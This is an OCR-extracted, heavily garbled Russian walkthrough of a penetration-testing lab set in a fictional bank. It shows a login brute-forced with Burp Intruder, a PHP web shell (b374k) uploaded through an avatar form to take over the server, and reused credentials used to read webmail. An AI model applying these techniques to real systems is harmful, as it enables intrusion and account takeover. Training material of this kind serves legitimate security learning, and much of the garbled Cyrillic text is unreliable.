[ Intercept requ|
Add E
lTJ | ok Cancel

export this certificate

T or ATTP method Does not match Taetioostl T

Cmp.15u321




SAMEUAHME: JTOT JOKYMEHT He IpeTeHAyeT Ha IM0JIHOTY onucaHus Burp. B
YaCTHOCTH, BaM HYXKHO 6yzieM ycTaHOBUTD CA-cepTudUKaT JJis TOTO,
uTOOBI MMETh BO3MOXXHOCTB NepexBaThiBaTh Tpaduk HTTPS.

WneMm Ha BKI1agKy Proxy > Intercept u BktouaeM nepexsaT. Bo3BpaliiaeMcs B
6pay3ep, 0OHOBJISIEM CTPaHUILY, U:

Burp Suite Professional v1.6.31 - licensed to Alexey Stoletny [single user license] e ® 0
Burp Intruder Repeater Window Help

Target | Brosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TComparer T Extender T Options TAIerts ]

_[ Intercept T HTTP history TWebSockets history I Options ]

(#] £ Request to hitps://192.168.101.6:443

[ Forward J l Drop J | Intercept is on ] Action

B
Raw | Params | Headers | Hex
GET /api/auth?email=RalphwWestfall@sas-bank.lab&password=pass HTTP/1.1 A
Host: 192.168.101.6 ™
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Cookie:

remember_82eS5d2cS6bdde811318f0cfo78b78bfe=ey IJpdiISIk ZrUDFZcWh2anRKRYdsWDh JdnNsZ1ESPSISInZhbHYL I 0iMELOaHo GT3dmY1lpZenht UEL
HSHNFMEdac Gl OMNpRVk 0 4b1dTdnULTFL TeERDMmFLM] Twek d1b Gt UdHL Kaj Vsam1NRWd qUVVXNLIE hYz JuRz cwN2 1y RnNOOk s SMVFMbWFPWV ITQzNgdFgy cEUS
TiwibWFi Ij 0iMjUzMTImYzBhN2ULNTg3NmVmY 2NmMm VL OTRLYWF] MGUzY ] QSZDOSMNZL ZDZhZDAINTY4YT1j ZGViZDUzYT1mOCI9;
laravel_session=eyJpdiI6Imw403]iMUIHRXAZZULSdHpacmSYRNc9PSISInZhbHVL I 01RmlQOWt NRkU2VDZaZwWd GakNj RWVEKSRESFhGNXp rbTI2TkFZS
UlwRm1rSEx0Z0Q2Z0dWTkSINzkwTLlvbit 6TW4wQUVVazRpbUt 1021 VdnhxbESzZEESPSISIm1hYy IGImVmONNRNTQZ2Y ] kxNzZL NTNLY] 1 mMTZiMz AOZTdiMT
ASNZ2RhZD0x Zj RmMDY 2MGE4MmMLMTYSOWY 3NzBmM] Y 3Zm0Q1 f 0% 30% 3D

Connection: keep-alive r
Cache-Control: max-age=0

EJ LZJ [IJ EJ Type a searc

v

0 matches

3arpoc nepexBaueH. Haxkumaem Ha HeM ITPaBOM KHOIIKOM ¥ OTIIPaBJIsiEM
ero B Intruder. Tam, ouniiaeM Bce aBTOMaTUUYECKM CTeHEPMPOBAaHHbIE pay-
load-no3uinm, n ocTaBsisgeM TOJIbKO OJIHY, AJI HapOJIs:

Burp Suite Professional v1.6.31 - licensed to Alexey Stoletny [single user license] e 00
Burp Intruder Repeater Window Help

[Target T Prox T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts ]

[1 = |2 = j
Target | Positions T Payloads TOptions ]

@ Payload Positions

Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper v']

GET /api/auth?email=RalphWestfall@sas-bank.lab&password=8passs| HTTP/1.1

4 Add §
Host: 192.168.101.6 ™
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0] Gecko/20100101 Firefox/31.0 e —
Iceweasel/31.8.0 [ Clear § J
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 —
Accept-Language: en-US,en;q=0.5 Auto §
Accept-Encoding: gzip, deflate I
Cookie: Refresh
remember_82e5d2c56bdd0811318f0cf078b78bfc=ey JpdiI6IkZrUDFZcwh2anRKRVdsWDh JdnNs Z1ESPSISInZhbHVLI]
01MELOaHoOT3dmY1pZenht UEt HSHNFNEdac GLOMWpRYk o 4b1dTdnULTFL TeERDMmFLM] Twek d1bot UdHLKaj VsamLNRWd qUV
VXML hYz JuRzcwN2 1y RnNOOk s SMVFMbWFPWY ITQzNgdFgy cEUSTiwibWF] I3 0iMj UzMT ImYzBhN2ULNTg3NmVmY 2MmMm W1 0T
RLYWF] MGUzY] QSZDQSMNZL ZDZhZDALNTY4YTL ] ZGViZDUzYTLmOCI9;
laravel_session=eyJpdiI&Inw4Q3J1MULHRXAZZUlSdHpacmSYRNcOPSIsInZhbHVL I 0iRmlOQ0wt NREU2VDZaZWdGakNi
RWVEK3RESFhGNXprbTI2TkFZSULwRmL rSEx0Z002ZDdWTkSINzkwTLlvbit 6TWawQUWVazRpb Ut 1021 VdmhxbE9zZEESPSIS
ImlhYyIGImVmOWNRNTQ2Y] kxNzZLNTNLY] L mMTZ1iMz AOZTdiMT ASN2RhZDOx Zj RmMOY 2MGE4Mm ML MTY SOWY 3NzBmMj Y3ZmQ1
30530
Connection: keep-alive
Cache-Control: max-age=0

v

EEEER

1 payload position

0 matches |  Clear

Length: 1033
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B HacTpoikax BbI6MpaeM CJIOBapb aposien, KOTOpble HYKHO IPOBEPUTD. S
II0ITPoG6YI0 CJ10Baph John, koToprii B Kali MoXXHO HanTH 3meck: /usr/share/
john/password.lst.

ATaka 3anyiieHa, ¥ oKa UTO MbI BUJIMM UTO Ka)KIIbI OTBET COIEPXKUT
TeKcT “Wrong password or email”. Ciesraem puibTp, UTOOBI Burp
TIOKa3bIBaJl HAM TOJIbKO IPaBUJIbHbIN ITapOJIb:

EJ Filter by search term Filter by status code Filter by annotation

. [ 2xx [success]
Wrong password or email

[] 3¢ [redirection] [] Show only commented items
LJ Regex [] 4xx [request error] [] Show only highlighted items
[] Case sensitive [ Negative search [ 5xx [server error]

CrenaeM mmepephiB Ha Kode moka Burp pa6oTaeT Hajl HAIIMM [TapojIeM, U
BEPHEMCS uepe3 HECKOJIbKO MUHYVT...

J Results TTarget T Positions T Payloads T Options ]

Filter: Hiding 3xx, 4xx and 5xx responses; not matching expression wrong password or email )
Request & | Payload | Status | Error | Timeout | Length | Comment
N 200 O O 668

[Taposnb HamaeH! 3anaeM KabMHET C MOJTyUeHHBIMU YUETHBIMU TAHHBIMMU:

SAS BANK - Stable and secure - Iceweasel [ I <]

) Connecting... x \ *

@ https://192.168.101.6/signir v x| |B¥ Google ol B ¥+ A G =v H

[ Most Visited ¥ “Offens\ve Security \Kab Linux l\\Kali Docs \Kali Tools ™ Exploit-DB ‘Alr(rackfng

SAS BANK Sgnin

Sign in
RalphWestfall@sas-bank.lab

sesceee

Sign in

Copyright 2015 ® SAS BANK*
*Fictitious name. Any resemblance to real organization is an accident

Waiting for 192.168.101.6...

MbI BUAMM UCTOPHIO TUIATEXKENM, KOTOphIe BhINOIHWI Panbd. [locmoTpum
UTO ellle MHTEPEeCHOTO MOXXHO HATU BO BHYTPeHHeN uacTu kabuHeTa. Kak
s YIIOMMHaJI paHee, s1 00bIYHO CMOTPIO Ha TOUKM I10JIb30BAaTEIbCKOTO BBO/IA
IUIS pa3/IMUHBbIX MHBEKIIMM, MMeHa I101b30BaTenert B HTML koje, CKphIThIe
IVPEKTOPUM U 3arpy3Ky aiioB. B TaHHOM ciTyuae, KaGMHET IT03BOJISIET
Panbdy 3arpy3nTh aBaTapKy:

Cmp. 17 u321



SAS BANK - Stable and secure - Iceweasel e o

J SAS BANK - Stableand ... X | *

€ ) @ nttps://192.168.10L.6/account v ¢||Bv Google A%E ¢ A ey B S
[ Most Visited v [l Offensive Security N Kali Linux " Kali Docs % Kali Tools Exploit-DB ‘Aircrack-ng
SAS BANK Sign o
ACCOUNT OPERATIONS
+ 84.00% You carried the transfer of funds
+ 24.00% You carried the transfer of funds
+ 88.00% You carried the transfer of funds
- 133.00% You make a purchase in the online store
+ 29.00% You carried the transfer of funds
+ 180.00% You carried the transfer of funds

65.00% You make a purchase in the online store

Account: 0000000023

Balance: 18.00§ ] g
Emall: RalphWestfall@sas- - 12.00$ You make a purchase in the online store

bank.lab + 138.00% You carried the transfer of funds

- 132.00$ Funds from your card was withdrawn through an ATM

@®opMbl 3arpy3ku GaiioB YacTO MOABEPXKEeHbl MHOTUM YSI3BMMOCTSIM,
CpeZiy KOTOPBIX HanboJiee UaCTO BCTPeUaeTCs OTCYTCBME IPOBEPKU HA TUII
3arpy)kaemoro ¢aiia. 3To Mo3BOJISIET aTAKYIOIeMY 3arpy3uTh, HAaIIlpUMep,
PHP a1 (mm 110607 IPyro, B 3aBUCUMOCTHM OT TEXHOJIOTUY Ha KOTOPO
HAIMCaH CaT), ¥ MOJIYUUTD «IIIeJUT» Ha cepBepe. 3arpy>KeHHbIN (ari
OyJIeT IoJIyyaTh KOMaHIbl OT aTAKYIOIIEro (HarmpuMep, ITIOCMOTPETD CITMCOK
¢haitsioB Ha cepBepe, MOJAKITIOUNTHCS K 6a3e JaHHbBIX, MJIM 3aIlyCTUTD reverse
shell 06paTHO K KOMITBIOTEPY aTAKYIOIIIETO).

Vs3BMMOCTHU B 3arpy3ke (paijioB OUeHb ONaCHbI, IOTOMY UTO OHY BbIJAIOT
Hapy)Xy OUeHb BXXHYI0 MHPopMauyoo — b]l, maposau, mHdopManmo o
TIOJKJIIOUEeHMSIX U JAIOT BO3MOXXHOCTb aTaKOBaTh JIPYrMe XOCThI B CeTH.

MO>KHO 3arpy3uTh HeOOJIBIION PalIMK KOTOPIN IIPOCTO BBIIIOJIHSET
KOMaH/Ibl, IlepeiaHHbIe eMy uepe3 GET-rrapameTp, HO MHE TOHPABUJICS
mesut b374Kk, y KOTOporo eCTb MHOT'O MHTEPECHBIX BOSMOXXHOCTEMN.

Tak uTo, 6epuTe CBOJ IIeJIT MM cKauayite b374k 3meck: https://github.com/
b374k/b374k. 3arpyxaem PHP-¢aits1 BMecTo KapTUHKH:

Photo upload

Update photo

[ Browse... {shell.php

Submit

Cmp. 18u3 21


https://github.com/b374k/b374k

Buaum ommnbKy 3arpy3ku:

SAS BANK - Stable and secure - Iceweasel e ® 0

| SAS BANK - Stable and ... % |

€ ) @ https://192.168.101.6/account v &|[Bv coogle Qs & A & =v @A

[ Most Visited v [l Offensive Security N Kali Linux % Kali Docs % Kali Tools % Exploit-DB W Aircrack-ng

L

The photo must be a file of type: jpeg, bmp, png.

+ 84.00$ You carried the transfer of funds

+ 24.00% You carried the transfer of funds

+ 88.00$ You carried the transfer of funds

- 133.00% You make a purchase in the online store

+ 29.00% You carried the transfer of funds
ACCOUNT + 180.00% You carried the transfer of funds

Ho He 6yzieM oITycKaTbh PYKM paHbliie BpeMeHU. CMoTpuM Ha IMG src u
BUAVIM, UTO (paiIbl IOMagaioT B Marky /uploads mocsie 3arpy3ku. CMOTpUM
UTO Yy HaC I10 3TOMY afpecy: https://192.168.101.6/uploads/shell.php...

b374k 3.2.3 - Iceweasel [ C I <]

/% b374k3.2.3 x| *

€ ) @ https://192.168,101.6/uploads/shell.php v ¢|[Bv Google Qv B ¥ A G v @

[ Most Visited v [l Offensive Security N, Kali Linux "% Kali Docs "% Kali Tools % Exploit-DB W Aircrack-ng

b374k 3.2.3 @ / var / www / public / uploads /

Explorer Terminal Eval Convert Database Info Mail Network Processes

server IP 172.16.8.2 | Your IP 16.10.69.142

Time @ Server 83 Dec 2015 12:48:23

Linux TLB-CABINET 3.2.8-4-amdé4 #1 SMP Debian 3.2 68-1+deb7ué x86_64
ngime/1.8.8 | PHP 5.4 45-g+deb7uz

name size ouner perns modified
[L.1 action DIR root:root drwxrwxrux 83-Dec-2015 12:34:82
[..1 action DIR root:root dr-xr-xr-x 13-Nov-2615 16:11:34
€99_2.php action 156.91 KB root:root = -XT =X -X 83-Dec-2615 12:68:34
shell.php action 1688.81 KB root:root - -XT =X -X 83-Dec-2015 12:34:81

Bce nonyumiiocs, mesu 3arpy)xked! OCMOTpUMCS U IouleM TOKeH. VzieM Ha
JIBe MAITKA BBEPX, B /var/Www, ¥ BOT OH:

b3 [ www [

Explorer Terminal Eval Convert Database Info Mail Network Processes

composer. json action 637 B root:root SrXrexrx B1-Jun-2814 22:16:38
composer. Lock action 58.38 KB root:root srexrexrex 27-0ct-2815 16:48:38
phpunit.xml action 567 8 root:root SreXrexrx B1-Jun-2814 22:16:38
readne.md action 2 KB root:root SreXPexrex B1-Jun-2814 22:16:38
server . php action 519 8 root:root Srexrexrex 81-Jun-2814 22:16:38
action 8 B root:root - =X =X =X 14-Nov-2815 22:29:28

HaxnmaeM Ha ¢ai yToOObI TOCMOTPETD COZIEPXKMMO€e, ¥ MbI TPOABUHYJIUCH
ellle Ha IIar BHYTPb ceTu Stable & Secure Bank!

Cmp.19u321


https://192.168.101.6/uploads/shell.php

NMPOAOJIXKAEM N3YYEHWUE

B Impouecce TeCTUPOBAaHUA OUE€HDb BAXXHO 3aIIMChIBATh U COIIOCTABJ/IATH BCIO

HalJeHHY0 MHPopMauy. [laponu, HajeHHbIe B OAHOM CUCTeMe MOTYT
JIETKO MOAOWNTU K IPYTOM, IOTOMY UTO I10JIb30BATEIN PEJIKO TPATIT BpeMs

Ha HOBBIE ITaPOJIN.

[Tormpo6yem 3aiTH B rouTy Pasnba uepe3 Be6-10CTYM, HaliJIeHHBIN Ha 3Tare
CKaHMPOBAHUS IOPTOB C TEMU XKe JaHHbIMMU:

/ & CommuniGate Prosa... X |

CommuniGate Pro sas-bank.lab Entrance - Iceweasel [ c I <]

+*

€ ) @192.168.101.7:8100

[ Most Visited ¥ 'iloffensive Security ~KKaLi Linux \Kali Docs '\Kali Tools ™ Exploit-DB \Aircrack-ng

Q¢ ®d & A G +v @

v | [Bv Google

CommuniGate
elcome to CommuniGate Pro,
the sas-bank.lab Unified Communications Server!
AccountName ‘RatphWestfaLL | Directory
Security Certificate

Fm Ml 1o Posmmaste
Layout v ‘

O bisable Fixed Address Check

[ bisable cookie check

— r & j

encer | Fronto
Auto-Login Pronto! Lite -

KoHeuHo, 3T0 He Bcerjia cpadaThIBaeT, HO MOKET ObITh HaM ITOBE3€T.

BoT uT0 MBI BUIVM BHYTPU:

- -
ralphwestfall@sas-bank.lab - Iceweasel (- I <]
/€ ralphwestfall@sas-b... X | SAS BANK - Stableand... X | ¥ b374k3.2.3 x| »
€ ) @192.168.101.7:8100/Session/10-d3y7VoCnp3d3cpjuY2ad/frameset.wssp? Eic] ‘EV Google 0\‘ B ¥ A G =y B =
[& Most Visited ¥ 'iloffensive Security ~KKaLi Linux \Kali Docs '\Kali Tools ™ Exploit-DB ‘Aircrack-ng
(5§ Folders B3 || Q 3 -~ C
‘ kR ) ommuniGate
¢ neox 0 24 { : Q (7 a i{a @ At
(1] catendar 0 Mail _ Compose AddressBook Calendar Main Tasks Settings Call Control Mai Control Buddies  Files  Log Out  Help raphwestfall@sas-bank lab
[E] Contacts 0 _ -
@ ore 0
) sert tems 0 | Joispiay: [20 v e} Flof1 @‘ [
@ Tasks 0
§ e B@ar | B8 ?
@ sem 0 lv! Status From Subject Size Received /
inbox_westfall 1 0e Donald Randolph vpn passwords 761 13-Nov
Filter 9 selected —_———
4 E =
‘ | sy = ‘ (=N ‘\ Select Foder- v | 03 0%
0O used

Management

| Maitbox

|| creae

v

Cmp.20u3 21



3axoMM B IMMCbMO, ¥ MBI Ha IIYTH K CJIEIVIOIIIEMY TOKEHY!

[x]

[
@

Read Message

B @RS B oS
Ca P \ﬂ" (My Domain) 'J

(2) Message

From: "Donald Randolph” =<donaldrandolph@sas-bank.lab=
Subject vpn passwords
Date: Fri, 13 Mov 2015 17:53:51 +0400

To: RalphWestfall@sas-hank.lab

Hi!
We doing scheduled replacement of vpn passwords.

A1l other parameters remain unchanged.

Have a nice day!
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MOCNECNOBUE

Hapetoch 3TOT HEGOJIBIIION IOKYMEHT AaeT JJOCTAaTOUHO MH(pOpMaIun
uTOOBI HAUATh Ballle COGCTBEHHOE TECTMPOBaHMeE Ha IIPOHUKHOBEHME, U
IIPOBEPUTH Ha UTO BbI CIIOCOGHBI B IOUTU HACTOSIIeN ceTU. B mabopaTtopun

12 ToxkeHOB 1 10 cepBepoOB, TaK UTO BCe ellle BIiepen.

Hapneroch Bam mOHpaBUTCS J1TabopaTOPHs TaK )Ke Kak M MHe. He cliaBanTech
B ITpollecce, 1, Kak roBoputcs, Try Harder.

Vonaun!

Anexceti Cmonemnutl, 4-e dekabps 2015 2ooa.
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